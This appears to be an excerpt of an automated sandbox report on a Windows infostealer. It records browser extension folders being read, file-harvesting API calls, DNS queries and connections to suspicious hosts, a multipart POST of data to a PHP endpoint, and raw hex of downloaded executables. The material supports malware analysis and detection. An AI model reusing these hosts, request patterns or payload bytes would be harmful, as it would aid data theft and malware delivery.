Source: unknown	HTTPS traffic detected: 67.199.248.10:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.14:443 -> 192.168.2.4:49863 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: C:\malomazasuk.pdbh source: DDEE.exe, 00000015.00000000.806089753.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: profapi.pdbwk3 source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: C:\nifuye\nozus nosonu\hetujohitas pe.pdb source: 7NAzyCWRyM.exe, 7NAzyCWRyM.exe, 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000000.00000000.654187291.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000001.00000000.658736452.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000000.745615637.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000002.753437264.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000B.00000000.750124051.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000000.786336492.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000002.795337129.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000014.00000000.792961390.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: VC:\hatisicovapehe\p.pdb source: 8633.exe, 0000000D.00000000.769445238.0000000000401000.00000020.00020000.sdmp, 8633.exe, 0000000D.00000000.777479976.0000000000409000.00000020.00020000.sdmp, WerFault.exe, 00000012.00000002.812632710.00000000052F0000.00000002.00020000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: C:\rawem\gunutata.pdb source: 11C5.exe, 00000017.00000002.843256357.0000000000752000.00000004.00000001.sdmp, riwtgmp.exe, 00000026.00000000.842627969.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\hatisicovapehe\p.pdb source: 8633.exe, 8633.exe, 0000000D.00000000.769445238.0000000000401000.00000020.00020000.sdmp, 8633.exe, 0000000D.00000000.777479976.0000000000409000.00000020.00020000.sdmp, WerFault.exe, 00000012.00000002.812632710.00000000052F0000.00000002.00020000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdbk source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000012.00000003.782463107.0000000004FDB000.00000004.00000001.sdmp, WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000012.00000003.788646579.0000000005357000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: "sTC:\rawem\gunutata.pdbh source: 11C5.exe, 00000017.00000002.843256357.0000000000752000.00000004.00000001.sdmp, riwtgmp.exe, 00000026.00000000.842627969.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\nifuye\nozus nosonu\hetujohitas pe.pdbh source: 7NAzyCWRyM.exe, 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000000.00000000.654187291.0000000000401000.00000020.00020000.sdmp, 7NAzyCWRyM.exe, 00000001.00000000.658736452.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000000.745615637.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000A.00000002.753437264.0000000000401000.00000020.00020000.sdmp, rffhjft, 0000000B.00000000.750124051.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000000.786336492.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000013.00000002.795337129.0000000000401000.00000020.00020000.sdmp, BC2D.exe, 00000014.00000000.792961390.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000012.00000003.788620157.0000000005381000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000012.00000003.788632084.0000000005350000.00000004.00000040.sdmp
Source:	Binary string: C:\malomazasuk.pdb source: DDEE.exe, 00000015.00000000.806089753.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00418FC0 BuildCommDCBAndTimeoutsA,CreateMailslotW,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,TzSpecificLocalTimeToSystemTime,GlobalHandle,SetConsoleCursorInfo,TlsSetValue,CopyFileW,GetLongPathNameA,SetVolumeMountPointA,GetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExA,	0_2_00418FC0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_00401280
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_00401090
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	21_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	21_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00409970
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00478A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00478A30
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004714D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_004714D0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004712E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_004712E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00476090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00476090
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00479930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	21_2_00479930
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00479BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00479BC0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00479D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	21_2_00479D90

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: bitly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: bit.ly
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=u14bif03gj65ojt3u38q4lhtqu
Source: global traffic	HTTP traffic detected: POST /tratata.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CJWTR1NG4OZUAAASHost: file-file-host4.comContent-Length: 93655Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=u14bif03gj65ojt3u38q4lhtqu
Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=24vdtkpnp2sj4dfg4mi5b23qc2

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:03:52 GMTContent-Type: application/x-msdos-programContent-Length: 358912Connection: closeLast-Modified: Mon, 03 Jan 2022 22:00:28 GMTETag: "57a00-5d4b4a60838eb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6b 91 a1 53 2f f0 cf 00 2f f0 cf 00 2f f0 cf 00 31 a2 5a 00 3d f0 cf 00 31 a2 4c 00 57 f0 cf 00 08 36 b4 00 2a f0 cf 00 2f f0 ce 00 ee f0 cf 00 31 a2 4b 00 10 f0 cf 00 31 a2 5b 00 2e f0 cf 00 31 a2 5e 00 2e f0 cf 00 52 69 63 68 2f f0 cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 f1 e5 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 3c 04 00 00 4a 02 00 00 00 00 00 c0 34 02 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 41 c1 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 39 04 00 3c 00 00 00 00 30 06 00 f8 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 14 23 00 00 50 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a6 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 3a 04 00 00 10 00 00 00 3c 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 60 9a 01 00 00 50 04 00 00 8c 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 6d 69 63 61 6b 05 00 00 00 00 f0 05 00 00 02 00 00 00 cc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 73 00 00 00 00 4b 00 00 00 00 00 06 00 00 02 00 00 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 64 61 76 00 00 ea 00 00 00 00 10 06 00 00 02 00 00 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 75 67 69 72 6f 66 93 0d 00 00 00 20 06 00 00 0e 00 00 00 d2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 59 00 00 00 30 06 00 00 5a 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a2 3e 00 00 00 90 06 00 00 40 00 00 00 3a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:01 GMTContent-Type: application/x-msdos-programContent-Length: 306176Connection: closeLast-Modified: Thu, 06 Jan 2022 20:03:01 GMTETag: "4ac00-5d4ef5b8b5e75"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 e9 20 ff a8 bb b5 ff a7 e9 36 ff ca bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 e9 31 ff 80 bb b5 ff a7 e9 21 ff b8 bb b5 ff a7 e9 24 ff b8 bb b5 ff 52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 83 9c 5d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 b2 03 00 00 04 02 00 00 00 00 00 30 c6 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be d3 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 af 03 00 28 00 00 00 00 40 05 00 18 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 74 1b 00 00 20 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5e b0 03 00 00 10 00 00 00 b2 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 04 20 01 00 00 d0 03 00 00 14 00 00 00 b6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 66 00 00 00 00 05 00 00 00 00 00 05 00 00 02 00 00 00 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6f 73 00 00 00 00 4b 00 00 00 00 10 05 00 00 02 00 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 75 79 65 73 00 00 ea 00 00 00 00 20 05 00 00 02 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 6d 69 63 61 00 93 0d 00 00 00 30 05 00 00 0e 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 3a 00 00 00 e0 05 00 00 3c 00 00 00 70 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:09 GMTContent-Type: application/x-msdos-programContent-Length: 309760Connection: closeLast-Modified: Thu, 06 Jan 2022 20:04:01 GMTETag: "4ba00-5d4ef5f1fb054"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 e9 20 ff a8 bb b5 ff a7 e9 36 ff ca bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 e9 31 ff 80 bb b5 ff a7 e9 21 ff b8 bb b5 ff a7 e9 24 ff b8 bb b5 ff 52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 80 04 9a 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c0 03 00 00 04 02 00 00 00 00 00 f0 d4 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 b1 8d 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 be 03 00 28 00 00 00 00 40 05 00 18 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 84 1b 00 00 20 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1e bf 03 00 00 10 00 00 00 c0 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 04 20 01 00 00 d0 03 00 00 14 00 00 00 c4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 6e 61 67 00 00 05 00 00 00 00 00 05 00 00 02 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 6f 70 61 76 69 00 4b 00 00 00 00 10 05 00 00 02 00 00 00 da 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 61 73 00 00 00 00 ea 00 00 00 00 20 05 00 00 02 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 61 76 65 66 61 00 93 0d 00 00 00 30 05 00 00 0e 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 3a 00 00 00 e0 05 00 00 3c 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Thu, 06 Jan 2022 20:04:18 GMTContent-Type: application/x-msdos-programContent-Length: 645592Connection: closeLast-Modified: Wed, 08 Dec 2021 03:32:46 GMTETag: "9d9d8-5d29a24b21380"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 